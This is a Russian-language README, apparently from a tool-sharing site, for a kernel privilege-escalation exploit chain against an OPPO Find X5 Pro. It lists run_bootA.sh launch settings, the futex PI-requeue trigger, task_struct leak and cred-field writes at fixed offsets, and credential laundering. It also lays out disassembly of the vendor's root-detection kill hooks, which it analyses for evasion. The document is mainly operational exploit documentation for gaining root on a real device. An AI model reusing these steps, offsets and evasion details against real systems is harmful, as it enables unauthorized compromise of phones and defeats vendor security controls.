  • Сначала нулевой тест. Чистый adb reboot, за которым следует немедленное извлечение. Если заведомо исправная перезагрузка не даёт ничего читаемого, канал не доказан и каждое последующее «пустой pstore» не является доказательством. Порядок важен: устройство перемещает и удаляет запись вскоре после загрузки, поэтому последовательность такова: перезагрузка → получить Permissive (W1) → немедленно запустить скрипт.

run_bootA.sh — оркестрация для той одной загрузки, в том порядке, который важен (0x778 → 0x780 с тем же значением → локальный ремонт cred, который был фактически установлен → подтверждение → и только затем воздействие). ADB=/SER=/ BIN_LOCAL= переопределяемы; SAME_VALUE=1 (по умолчанию) обеспечивает правило одного значения, LAUNDER=1 включает шлюзованное отмывание, HOLD=600 требуется для последовательности с одним значением.

Повторы разделены по этапам (R5/R6), потому что у двух этапов противоположные профили риска:

R5 по умолчанию равен ROUNDS, R6 — 1.

Рекомендуемый запуск отмывания — путь с распылённой страницей по умолчанию, не CONTROL=1:```bash LAUNDER=1 R5=3 R6=1 HOLD=600 CHAINWAIT=6000 NODRAIN=1 WATCH=180 ./run_bootA.sh

root@kitploit:~
`CONTROL=1` также дал бы согласованную пару, но записывая указатель `init_cred`, побочный эффект которого **глобально** повреждает `init_cred+8` — а «фреймворк умирает» — одна из вещей, за которыми ведётся наблюдение, поэтому перенос отказа уровня всего устройства в фон измерения искажает именно то показание, ради которого существует этот запуск. Путь через засеянную страницу стоит лишь «оба выстрела должны попасть», для чего и предназначен `R5=3`. `CONTROL=1` остаётся единственной *доказанной* согласованной парой и служит контролем, а не рекомендуемой конфигурацией.

**Какая страница была установлена, считывается из безусловной строки.** `run_w7` печатает записываемое значение на двух строках, и только одна из них безусловна:```
L1793  W7[..] write value = private cred page 0x..   — spray path only
L1802  W7[..] write_value = 0x..                     — after the if/else, ALL paths

Раннер использовал первое написание, поэтому при CONTROL=1 извлечение возвращалось пустым, if [ -n "$CRED" ] пропускал восстановление, и собственный терм [ -n "$CRED" ] конъюнкции с тем же значением удерживал его на 0 — шлюз отмывания отказал бы навсегда. Тихий no-op по обоим пунктам, из-за регулярного выражения, которое распознавало один из двух мест вывода. И оно, и извлечение write_target (the stamp criterion's input) теперь проходят через wv_from/wt_from, которые проверяются регрессионным тестом наряду с самим критерием.

Оба потока начинаются до того, что они измеряют. uid.stream работает со стадии 1; cred.stream начинается на poke, а не после watch — poke выпускает дочерний процесс в его цикл отчётов NO_EXEC, который составляет 240 × 0.5 с = 120 с и затем _exit(0) (exploit.c: "LT child NO-EXEC mode done (120s)"), поэтому старое размещение на t+~135 с начинало выборку после того, как дочерний процесс уже завершился, в точности в том окне, для которого существует инструмент. Раннер также отказывается продолжать, если stamp_selftest() завершается неудачей, и печатает ORACLE INCONSISTENT, а не "did not land", когда stamp и probe_state расходятся.

artifacts/guard_post_handler.s — цепочка уничтожения с заполненными релокациями. adrp x9, #0 в более старых листингах — это .data..ro_after_init; bl #0x4ac — это oplus_root_check_succ. Перегенерируйте с помощью tools/gen_guard_disasm.py после извлечения модулей вендора с вашего собственного устройства.

tools/kdis_ko.py — RELA сопоставляется по sh_info; в этих сборках релокации .text находятся в .rela.text.<func>, поэтому поиск по имени ничего не возвращает.

Related

Project
JoinChang/ghostlock-oneplusreference implementation; 5.10 compact waiter
NebuSec CyberMeowfiaoriginal GhostLock research

License

GPL-3.0 — см. LICENSE.

Скачать инструмент
УстройствоOPPO Find X5 Pro (PFEM10)
SoCSM8450 / Adreno 730
ОСColorOS 16.0.3.520 (CN01)
Ядро5.10.236-android12-9-o-gaf2075ad2c06
Загрузчикзаблокирован, зелёный
VA_BITS39 — KIMAGE_TEXT_BASE = 0xffffffc008000000
Этап
Триггер компактного waiter (CMP_REQUEUE_PI → EDEADLK)работает
Утечка task_struct (perf)работает
Запись PI (8 байт; значение = 0 или валидный адрес ядра)работает
task+0x778 или task+0x780 по отдельности → Uid=rootработает — но приземление на одно поле оставляет задачу расходящейся, и это скрытый жёсткий BUG_ON. См. опасность расхождения
Оба поля записаны ОДНИМ значением (согласованная пара)❌ никогда не получено с распылённой страницей. Наблюдалось только с глобальным псевдонимом init_cred (09-14, CONTROL=1). Раннер теперь это принудительно обеспечивает (SAME_VALUE=1); на устройстве не запускалось
Отмывание учётных данных (setresgid + setresuid)реализовано за V12_LAUNDER=1; на устройстве не запускалось
kernelsu.ko загруженработает
Корневой процесс выживает⚠ не установлено — см. ниже
Механизм перезагрузки❌ не установлен. Один кандидат (расхождение) теперь исключён; см. ниже
probe_state как критерий приземления❌ неверно — не использовать. Три контрпримера; см. таблицу ниже
Канал паники pstore/ramoops⚠ инструмент существует; канал никогда не проверялся (нулевого теста ещё нет)
«Жертва крутится в чистом userspace»⚠ показаний пока нет — uid.stream теперь записывает utime/stime/nvcsw, так что это можно проверить
Двойная запись за один проход со стороны pi⚠ не установлено; pi.pc/pi.left жёстко заданы как 0 в fdset_map.h
Путь A (UMH / modprobe_path)STATIC_USERMODEHELPER_PATH=""
ПолеСмещение
real_cred / cred0x778 / 0x780
кэшированный syscallno0xdf8
кэшированные uid / euid / gid / egid0xe00 / 0xe08 / 0xe10 / 0xe18
flags
0x0
addr_limit0x8
ttbr00x10
preempt_count0x18
ПолеСмещениеПолеСмещение
uid0x4cap_inheritable0x28
gid0x8cap_permitted0x30
suid0xccap_effective0x38
sgid0x10cap_bset0x40
euid0x14cap_ambient0x48
egid0x18
fsuid / fsgid0x1c / 0x20
Uid: 0 0 0 0
cred
status_gid
real_cred
lt_cred_ids_agree()
цельоракул приземления
task+0x778Uid: 4-е поле awk = hi32(write_target) и Gid: 2-е поле awk = low32(write_target) — метка выше; читать до этапа 3
task+0x780собственный getuid() жертвы
глобальная selinux_enforcinggetenforce
probe_state❌ не критерий. В лучшем случае подсказка о цепочке; никогда не доказательство того, что запись приземлилась
$4
значения
notes.md
$3
euid
0
hi32(write_target)
stamp_ok()
без единой ошибки где-либо
run_bootA.sh
#ХукТриггерДействие
1oplus_root_check_post_handler, tracepoint sys_exitкакой-то id понизился, или addr_limit == KERNEL_DSoplus_root_killed → printk + do_exit(SIGKILL); и oplus_root_check_succ → kevent_send_to_user
2oplus_exe_block_ret_handler, sys_exit, но только для execve (221)d_path(mm->exe_file) начинается с /data, /data/local/tmp, /data/nativetest, /data/nativetest64oplus_RWO_root_check → printk + kevent_send_to_user (без do_exit)
3kretprobes oplus_secure_hardensetsockopt optname ∈ {41,42,48}, setxattr, /proc/cpuinfo, перезагрузка политики SELinuxoplus_heapspray_check → kevent_send_to_user
143 setregid144 setgid145 setreuid146 setuid
147 setresuid149 setresgid203 connect204 getsockname
208 setsockopt210 shutdown213 readahead214 brk
kretprobeХукиФильтр
socket_kretprobeip_setsockoptregs[1] ∈ {41, 42, 48}
socket_ip6_kretprobedo_ipv6_setsockoptregs[1] ∈ {41, 42}
cpuinfo_kretprobecpuinfo_open—
setxattr_kretprobesetxattr—
sepolicy_reload_kretprobespolicy_reload—
ldr w8, [x1, #8] ; regs[1]
cmp w8, #0x29 ; 41 IP_MSFILTER
b.eq #0xd58
cmp w8, #0x30 ; 48 MCAST_MSFILTER
b.eq #0xd60
cmp w8, #0x2a ; 42 MCAST_JOIN_GROUP
b.ne #0xd68 ; else → return, no call
bl oplus_heapspray_check
этапбезопасность повтора
R5шаг 5, task+0x778безопасно — промах ничего не устанавливает, а критерий штампа делает неудачный раунд читаемым, так что ещё один выстрел — это просто ещё одна попытка. R5=3 поднимает вероятность попадания за выстрел с ~p до ~1−(1−p)³.
R6шаг 6, task+0x780не безопасно и не нужно — он срабатывает только после того, как шаг 5 попал, так что повтор стреляет по уже разошедшейся задаче: ещё один шанс записать вторую, другую страницу, без выгоды, поскольку одно попадание завершает пару. Оставьте его равным 1.